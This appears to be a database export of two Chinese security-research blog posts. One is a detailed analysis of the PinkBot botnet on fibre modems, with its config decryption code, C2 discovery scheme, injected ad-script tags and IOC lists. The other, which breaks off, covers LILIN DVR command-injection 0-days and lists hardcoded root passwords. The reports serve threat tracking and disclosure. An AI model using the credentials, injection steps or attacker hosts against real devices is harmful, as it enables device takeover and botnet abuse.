f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"本文完成于2020年春节前后，为维护广大最终消费者的利益，一直处于保密期无法发表。近日 CNCERT 公开披露了相关事件，令本文有了公开契机。在保密期的这段时间里，Pink 也出现一些新的小变动，笔者筛选了其中一部分放到“新动向”章节，供其他同仁共同追踪研究。\n\n# 概述\n\n2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。\n\nPinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，在360Netlab的独立测量中，总感染量超过160万，其中 96% 位于中国。\n\nPinkBot 具有很强的技术能力：\n\n1. PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用； \n2. PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；\n3. 在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。\n\n可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。\n\n# 规模及影响范围\n我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：\n1.\t2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;\n2.\t2020-01-02从CNCERT拿到的统计结果：\n```“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”```\n3. 根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。\n\n在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。\n\n# PinkBot 技术架构\nPinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。\n\n## 配置信息\n\n对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：\n\n```\n{\n \"verify\": \"1585065675\",\n \"cncip1\": \"144.202.109.110\",\n \"cncport1\": \"32876\",\n \"dlc\": \"5b62596bc1453d51cc7241086464f294\",\n \"dl\": \"http【:】//155.138.140.245/dlist.txt\",\n \"dlc1\": \"484417e6f65c8e18e684d60c03c4680a\",\n \"dl1\": \"https【:】//*****.com/johncase/zip/raw/master/dlist.txt\",\n \"sd0\": \"1.1.1.1\",\n \"sdp0\": \"443\",\n \"srvk\": \"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=\",\n \"pxy\": \"1\"\n}\n```\n\n1. 其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。\n2. 随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。\n3. 再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。\n4. “sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。\n5. srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。\n6. pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。\n\n### 配置信息的保护\n通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。\n为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：\n\n```\ndef easydecrpyt(message):\n res = \"\"\n for cursor in range(0, len(message)):\n mbt = ord(message[cursor])\n res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))\n return res\n```\n\n信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：\n\n1. 签名校验使用的密码库为 mbedtls；\n2. 签名算法为 ECDSA；\n3. 签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；\n4. 验签所用公钥为： `04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E`\n\n\n### 配置信息的分发\n\n除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。\n\n#### a) 通过第三方服务分发配置信息\n\n1. 通过 BTC+GITHUB 分发配置信息\n\n该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。\n\n\n\n其中，模式为`P!!<base64>I!!`行是配置签名，模式为`N!!<base64>K!!`行是配置信息的密文。\n\n但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包\\[`1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF`\\] 的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：\n\n\n\n对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 `...!<base64>...?` 的字串，比如我们最近找到的一个就是 `...!L215cG9sbzExMS92Zmc=...?` 将这个base64 还原，就是隐藏项目的地址了 `mypolo111/vfg`\n\n\n再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。\n\n另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：\n\n\n\n\nPS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。\n\n2. 通过 某中文社区 分发配置信息\n\n攻击者在少部分样本中还尝试利用“某中文社区”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。\n\n\n#### b) 通过 P2P 方式分发配置信息\n1. P2P-Over-UDP123 分发配置信息\n\nBot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（\"114.25.0.0/16\"，\"36.227.0.0/16\"，\"59.115.0.0/16\"，\"1.224.0.0/16\"）发起 Peer 探测请求，内容为 `1C 00 00 00` 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：\n\n - 当目标Bot未取得主控信息时回复 `1D 00 00 00`；\n - 当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。\n\n下图是最近捕获到的UDP-123 传递的配置信息。\n\n\n\n2. 通过 P2P-Over-TCP 分发配置信息\n\nBot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：\n\n\n\n交互协议的格式同UDP123上的相同。\n\n#### c) 通过 CNC 分发配置信息\n\n攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。\n\n\n## PinkBot 指令\n\n### 指令格式\n\n每条指令至少包含7字节，含义依此如下：\n\n1. Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。\n2. 指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。\n3. 内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。\n4. 指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。\n\n这里附上一张截图供参阅，其中红框标记的就是指令字段：\n\n\n\n### 指令传输方式\n#### a) 通讯加密\n\n上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：\n\n1. 使用的密码学库为：`mbedtls`;\n2. 密钥交换阶段使用的交换算法 `ecdh`，加载曲线为 `MBEDTLS_ECP_DP_CURVE25519`;\n3. 服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：`14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D`\n4. 报文加密/解密阶段使用的算法为 `aes`, key 为密钥交换后的secret，加载参数为 `MBEDTLS_AES_ENCRYPT` 和`MBEDTLS_AES_DECRYPT`;\n5. 在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。\n\n#### b) 指令内容编码\n\n为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库[nanopb](https://github.com/nanopb/nanopb) 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。\n\n### 指令功能\nPinkBot 指令具有丰富的控制能力：\n\n> 1. 文件下载\n> 2. 系统命令执行\n> 3. DDoS攻击（HTTP攻击和 UDP 攻击）\n> 4. 扫描功能（扫描的具体内容可以通过指令设置）\n> 5. 汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）\n> 6. 自身更新（将新版本保存到 /tmp/client 后运行）\n> 7. P2P节点列表同步（直接推送一组P2P节点到Bot）\n> 8. http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）\n> 9. 启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）\n> 10. 下载文件并执行\n> 11. 停止攻击\n> 12. 重置watchdog \n\n\n## PinkBot 持久化方式\n与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。\n\n下图是被感染后新增/修改的文件列表：\n\n\n\n其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。\n\n关键文件说明：\n - /bin/protect：`md5:9ec5bd857b998e60663e88a70480b828`\n\nprotect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。\n\n - /bin/tr69c: `md5:451a3cf94191c64b5cd1be1a80be7799`\n\ntc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。\n\n\n# 跟踪及处置\n## 规模评估\n前面提到，Pink 具有通过 p2p 方式来分发非实时性指令信息的特性。利用这个特性，我们得以在全网范围内对 PinkBot 的感染量进行评估，最终得出的全球受感染IP超过160w的 这个结论。\n\n## 指令跟踪\n\n我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。\n除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：\n\n```\n<script async src=\"http【:】//45.32.21.251/j/?$$\"></script>\n<script async src=\"http【:】//167.179.80.159/j/?$$\"></script>\n<script async src=“http【:】//114.55.124.13/j/?$$“></script>\n```\n\n## 汇报及处置\n\n360公司为维护广大最终消费者的利益，做了以下处置工作：\n\n1. 通报各级监管机构；\n2. 依法配合执法机构行动；\n3. 联合设备供应商进行安全防御；\n4. 在360系列安全浏览器、安全DNS上阻断PinkBot相关控制域名、插播广告域名；\n5. 联合若干互联网基础设施供应商共同监控PinkBot行动。\n\n# 新动向\n\n本文其他部分，均完成于2020年春节前后，到现在已经度过了一年半的时光。在这段时间中，我们没有发现 Pink 出现太大的变动，本节附上了一些最新的线索，供同仁们共同研究和追踪。\n\n## 最新传播的配置信息\n\n随着对 pink 的持续追踪，我们发现，pink 的配置信息会间歇性发生变化，变动内容主要体现在 CNC 字段和 DL\\* 字段，并于最近几个月趋于稳定。下面是我们在 2021/10/5(北京时间) 捕获的最新配置信息。\n\n```\n{\n \"verify\":\"1611936001\",\n \"cncip1\":\"140.82.40.29\",\n \"cncport1\":\"26007\",\n \"dlc\":\"450aa79da035a8a55ca4c0e6b1025b50\",\n \"dl\":\"http://209.250.247.60/dlist.txt\",\n \"dlc1\":\"47ed94977b45099f1ef5c7701b2d25dc\",\n \"dl1\":\"https://****.com/****/dlist.txt\",\n \"sd0\":\"1.1.1.1\",\n \"sdp0\":\"443\",\n \"srvk\":\"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=\",\n \"pxy\":\"1\"\n}\n```\n\n## 当前规模\n\n我们一直阶段性的对公网上的 Pink 节点进行持续监测，通过对 2021/10/20日的日志分析，我们仍然可以看到 103024 个 IP 处于日活状态。这表明，当前的 pink 的感染规模仍然在 10w 量级左右，涉及多家设备厂商，按照每个IP对应一个三口之家来计算，受影响人群大概 30w 人左右。按照每个光猫 100 元的更换成本计算，当前仍有上千万损失等待弥补。\n\n## 曾发起 DDoS 攻击\n\n文章编写完成时，我们并没有抓到 Pink 发起 ddos 攻击的指令，但在随后的一段时间中，我们监测到了大概100多条试图发起 DDos 攻击的指令，下面筛选其中的两条，供参考：\n\n```\n2020/3/24 通过UDP协议，攻击 203.56.252.137:26999\n2020/4/8 通过HTTP协议，攻击 180.101.192.199:27020\n```\n\n# 番外：Pink 对抗的能力\n\n在对 Pink 僵尸网络分析跟踪的过程中。我们注意到，攻击者和不同厂商进行过多次的攻防对抗。\n这一章节将简单介绍下在对抗中， Pink 展现出来的一些能力。\n\n## 设备厂商的博弈\n\n根据相关厂商之一提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。\n\n*第一次对抗*: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。\n\n*第二次对抗*：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。\n\n*第三次对抗*：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。\n\n*最后的方案*：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。\n\n*复盘总结*：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。\n另一方面，将物联网设备供应商与成熟的系统供应商在安全能力方面对比（例如Windows、安卓或者MacOS），后者拥有成熟的多的安全人员建制和丰富的多的安全对抗经验。再考虑到物联网设备数量众多，多得多的数量加上少的多的防御，更多的攻击转向物联网设备是老道攻击者的自然选择。\n\n\n## GITHUB 封相关账号\n\n我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。\n\n\n\n目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。\n\n*复盘总结*：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。\n\n# IOC\n## C&C地址\n\n通过长期跟踪，攻击者使用过的CNC地址有：\n\n```\ncnc.pinklander[.]com\n144.202.109.110:40080\n144.202.109.110:32876\n207.148.70.25:12368\n45.32.125.150:12368\n45.32.125.188:12368\n45.32.174.105:12368\n5.45.79.32:12368\n```\n\n**PS**: 我们的DNSMon系统，早在2019年12月28日，在我们的人工分析介入之前，就自动已经标示控制域名 cnc.pinklander.com 有重大嫌疑并在360的安全DNS服务中（https://dns.360.cn/）拦截了。\n\n**PPS**: 顺道说一句，我们的 DNSMon 系统，已于近日改名 DTA ，并开启商业化之路(__GHOST_URL__/360dta-announced/)，感兴趣的伙伴们可以自行移步了解相关事宜。\n\n\n## 同步服务\n\nPinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。\n在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的`配置信息`中。\n\n```\nhttp[:]//1.198.50.63:1088/dlist.txt\nhttp[:]//1.63.19.10:19010/var/sss/dlist.txt\nhttp[:]//104.207.142.132/dlist.txt\nhttp[:]//108.61.158.59/dlist.txt\nhttp[:]//111.61.248.32:1088/dlist.txt\nhttp[:]//112.26.43.199:81/dlist.txt\nhttp[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt\nhttp[:]//117.131.10.102:1088/d/dlist.txt\nhttp[:]//123.13.215.89:8005/d/dlist.txt\nhttp[:]//125.74.208.220:81/dlist.txt\nhttp[:]//140.82.24.94/dlist.txt\nhttp[:]//140.82.30.245/d/dlist.txt\nhttp[:]//140.82.53.129/dlist.txt\nhttp[:]//144.202.38.129/dlist.txt\nhttp[:]//149.28.142.167/p/dlist.txt\nhttp[:]//149.28.142.167/p1/dlist.txt\nhttp[:]//155.138.140.245/dlist.txt\nhttp[:]//167.179.110.44/dlist.txt\nhttp[:]//173.254.204.124:81/dlist.txt\nhttp[:]//182.139.215.4:82/dlist.txt\nhttp[:]//207.148.4.202/dlist.txt\nhttp[:]//218.25.236.62:1987/d/dlist.txt\nhttp[:]//218.25.236.62:1988/d/dlist.txt\nhttp[:]//222.216.226.29:81/dlist.txt\nhttp[:]//45.32.26.220/dlist.txt\nhttp[:]//45.76.104.146/dlist.txt\nhttp[:]//45.77.165.83/p1/dlist.txt\nhttp[:]//45.77.198.232/p1/dlist.txt\nhttp[:]//45.88.42.38/p1/dlist.txt\nhttp[:]//61.149.204.230:81/dlist.txt\nhttp[:]//66.42.114.73/dlist.txt\nhttp[:]//66.42.67.148/dlist.txt\nhttp[:]//8.6.193.191/dlist.txt\nhttp[:]//95.179.238.22/dlist.txt\nhttps[:]//***.com/**/dlist.txt\nhttps[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt\n```\n\n## MD5\n\n通过跟踪获取到的相关样本（ELF）汇总如下：\n\n```\n9ec5bd857b998e60663e88a70480b828 /bin/protect\n451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c\n06d6ad872e97e47e55f5b2777f78c1ba slient_l\n07cd100c7187e9f4c94b54ebc60c0965 slient_b\n0f25b0d54d05e58f5900c61f219341d3 client_b\n0f89e43ea433fdfd18a551f755473388 slient_l\n1197994610b2ffb60edbb5ab0c125bc0 client_b\n167364ad0d623d17332f09dbb23a980e client_b\n175b603082599838d9760b2ab264da6f slient_l\n1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l\n229503686c854bb39efdc84f05b071b9 slient_b\n25a07e3ef483672b4160aa12d67f5201 client_l\n262a4e242c9ebeba79aa018d8b38d229 client_l\n29d0afd2a244c9941976ebf2f0f6597f client_l\n2befedd020748ff6d9470afad41bd28c slient_b\n2ca5810744173889b2440e4f25b39bd4 client_l\n36e48e141943a67c6fdeaa84d7af21cc client_b\n3a620ff356686b461e0e1a12535bea24 slient_l\n41bbe8421c0a78067bae74832c375fe8 slient_l\n45ee78d11db54acfdda27c19e44c3126 client_l\n4830c3950957093dac27d4e87556721e slient_l\n484761f281cb2e64d9db963a463efca5 client_l\n48a7f2799bf452f10f960159f6a405d3 client_l\n494412638dc8d573172c1991200e1399 client_l\n4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b\n50270de8d5783bb0092bf1677b93c97b slient_l\n54aa9e716567bd0159f4751916f7f0d1 client_l\n5ae1fec20c2f720269c2dc94732187e8 slient_b\n5b62a9bd3431c2fd55283380d81c00fa client_b\n5c322610e1845d0be9ccfc8a8b6a4c4f client_l\n5c4f8dae67dad8cac141afa00847b418 slient_b\n5d0d034845bd69179bf678104c046dc1 client_b\n60658ef214c960147200d432eece3e13 slient_l\n60a2b1bb02a60ac49f7cc1b47abdf60c client_l\n610f0aadba3be1467125607bf2ba2aaf slient_l\n66a068fd860bda7950fde8673d1b5511 client_b\n6c4de9bd490841f0a6c68638f7253c65 client_b\n72c531a813b637af3ea56f288d65cdb7 slient_b\n7608b24c8dcf3cd7253dbd5390df8b1f client_b\n7645a30a92863041cf93a7d8a9bfba1a client_b\n857fc3c7630859c20d35d47899b75699 slient_b\n861af6b5a3fea01f2e95c90594c62e9d client_l\n8e86be3be36094e0f5b1a6e954dbe7c2 client_l\n8fbcd7397d451e87c60a0328efe8cd5d client_b\n987a9befb715b6346e7ad0f6ac87201f slient_b\n9eb147e3636a4bb35f0ee1540d639a1b slient_b\naa2fc46dd94cbf52aef5e66cdd066a40 client_l\nae8b519504afc52ee3aceef087647d36 slient_b\nb0202f1e8bded9c451c734e3e7f4e5d8 slient_b\nb6f91ad027ded41e2b1f5bea375c4a42 slient_b\nb9935859b3682c5023d9bcb71ee2fece slient_b\nb9d1c31f59c67289928e1bb7710ec0ba client_l\nbec2f560b7c771d7066da0bee5f2e001 client_b\nc2efa35b34f67a932a814fd4636dd7cb slient_l\nc839aff2a2680fb5676f12531fecba3b slient_b\nc94504531159b8614b95c62cca6c50c9 slient_l\ndfe0c9d36062dd3797de403a777577a6 client_b\ne19a1106030e306cc027d56f0827f5ce slient_l\nf09b45daadc872f2ac3cc6c4fe9cff90 client_b\nf5381892ea8bd7f5c5b4556b31fd4b26 client_b\nf55ad7afbe637efdaf03d4f96e432d10 slient_b\nf62d4921e3cb32e229258b4e4790b63a client_b\nf81c8227b964ddc92910890effff179b slient_b\nfc5b55e9c6a9ddef54a256cc6bda3804 client_b\nfe8e830229bda85921877f606d75e96d slient_l\nfee6f8d44275dcd2e4d7c28189c5f5be client_l\n```\n"}]],"markups":[],"sections":[[1,"p",[]],[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e71904b7646030007b263cc |
post | null | 2020-03-19T11:54:29.000Z | 63873b9a8b1c1e0007f52f64 | multiple-botnets-are-spreading-using-lilin-dvr-0-day | 0 | 2022-02-09T07:09:42.000Z | public | published | null | 2020-03-20T15:53:47.000Z | LILIN DVR 在野0-day 漏洞分析报告 | <!--kg-card-begin: markdown--><p><em>本文作者：马延龙，涂凌鸣，叶根深，刘宏达</em></p>
<blockquote>
<p>当我们研究Botnet时，我们一般看到的是攻击者通过N-day漏洞植入Bot程序。但慢慢的，我们看到一个新的趋势，一些攻击者开始更多地利用0-day漏洞发起攻击，利用手段也越发成熟。我们希望安全社区关注到这一现象，积极合作共同应对0-day漏洞攻击威胁。</p>
</blockquote>
<h3 id="">背景介绍</h3>
<p>从2019年8月30号开始，360Netlab未知威胁检测系统持续监测到多个攻击团伙使用LILIN DVR 0-day漏洞传播Chalubo[<a href="https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/">1]</a>，FBot[<a href="__GHOST_URL__/tag/fbot/">2]</a>，Moobot[<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">3]</a>僵尸网络。</p>
<p>在2020年1月19号，我们开始联系设备厂商LILIN。在2020年2月13号，厂商修复了该漏洞[<a href="https://www.meritlilin.com/assets/uploads/support/file/M00158-TW.pdf">4]</a>，并发布了最新的固件程序2.0b60_20200207[<a href="https://www.meritlilin.com/tw/support/file/type/Firmware">5]</a>。</p>
<h3 id="">漏洞分析</h3>
<p>LILIN 0-day漏洞主要包括：硬编码登陆账号密码，<code>/z/zbin/dvr_box</code>命令注入漏洞和<code>/z/zbin/net_html.cgi</code>任意文件读取漏洞。其中<code>/z/zbin/dvr_box</code>对外提供Web服务，它的Web接口<code>/dvr/cmd</code>或<code>/cn/cmd</code>存在命令注入漏洞。我们观察到被注入的参数包括：NTPUpdate，FTP，NTP。</p>
<p>硬编码登陆账号密码列表:</p>
<pre><code>root/icatch99
report/8Jg0SR8K50
</code></pre>
<p>默认账号密码：</p>
<pre><code>admin/123456
</code></pre>
<h4 id="ntpupdate">NTPUpdate 注入漏洞分析</h4>
<ol>
<li><code>/z/zbin/dvr_box</code> 程序中的<code>dvr_serv::do_request()</code>函数负责解析<code>DVRPOST</code>传入的XML配置，并调用相应的处理函数；</li>
<li><code>dvr_core::NTPUpdate()</code>函数将Server字段传入到依赖库libutility.so中的<code>UtilityBox::UtilityNtp::run()</code>函数；</li>
<li><code>UtilityBox::UtilityNtp::run()</code>函数根据Server字段值，拼接并执行ntp时间同步命令；</li>
<li>由于以上过程缺乏对Server字段的特殊字符的过滤，导致命令注入。</li>
</ol>
<p>在2.0b60_20200207版本中，厂商在步骤3通过调用<code>UtilityBox::Utility::ValidateHostName() </code>函数检验Server字段，修复了该漏洞。<br>
<a href="__GHOST_URL__/content/images/2020/03/NTPUpdate.png"><img src="__GHOST_URL__/content/images/2020/03/NTPUpdate.png" class="kg-image"/></a></p>
<h4 id="ftpntp">FTP和NTP 注入漏洞分析</h4>
<ol>
<li>通过硬编码登陆账号密码和<code>/z/zbin/net_html.cgi</code>程序中的任意文件读取漏洞[<a href="https://icatch99.blogspot.com/2019/11/icatch-dvr.html">6]</a>，获取设备配置文件信息<code>/zconf/service.xml</code>；</li>
<li>修改<code>/zconf/service.xml</code>中的FTP或NTP参数的Server字段，注入后门命令；</li>
<li>通过硬编码账号密码远程访问<code>POST /dvr/cmd</code>接口，使用<code>SetConfiguration</code>功能，传入修改后的XML实体，向目标设备写入配置文件；</li>
<li>设备会定时同步FTP或NTP配置，触发命令执行。</li>
</ol>
<p>值得注意的是，FTP或NTP配置的命令注入依赖于步骤1，2获取到的网络配置信息。如果直接执行步骤3，则可能会使设备断网。</p>
<p>在2.0b60_20200207版本中，厂商修复了步骤1中的任意文件读取漏洞，<code>/z/zbin/dvr_box</code>写入配置时会调用<code>UtilityBox::Utility::ValidateHostName() </code>函数检验Server字段，修复了步骤3中的漏洞。<br>
<a href="__GHOST_URL__/content/images/2020/03/NTP-FTP.png"><img src="__GHOST_URL__/content/images/2020/03/NTP-FTP.png" class="kg-image"/></a></p>
<h3 id="">时间线</h3>
<pre><code>2019年8月30号，发现Chalubo通过LILIN 0-day NTPUpdate漏洞进行传播。
2020年1月11号，发现FBot通过LILIN 0-day FTP/NTP漏洞进行传播。
2020年1月19号，第一次联系厂商，没有得到回复。
2019年1月26号，发现Moobot通过LILIN 0-day FTP/NTP漏洞进行传播。
2020年2月10号，第二次联系厂商，得到回复。
2020年2月12号，向厂商提供了在野FTP和NTP漏洞PoC细节信息。
2020年2月14号，厂商回复我们已经修复该漏洞, 并发布最新的固件程序2.0b60_20200207。
</code></pre>
<h3 id="">受影响的固件列表</h3>
<pre><code>LILIN DHD516A
* 2.0b1_20191202 - JPEG C4 panels
* 2.0b1_20180828 - RTSP works
LILIN DHD508A
* 2.0b1_20180828 - RTSP works
LILIN DHD504A
* 2.0b1_20191202 - JPEG C4 panels
* 2.0b1_20190417 - JPEG C4 panels
LILIN DHD316A
* 2.0b1_20180828
* 2.0b1_20171128 C4 Panels
LILIN DHD308A
* 2.0b1_20180828
LILIN DHD304A
* 2.0b1_20180828
LILIN DHD204 IP Camera
* 1.06_20151201
LILIN DHD204A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
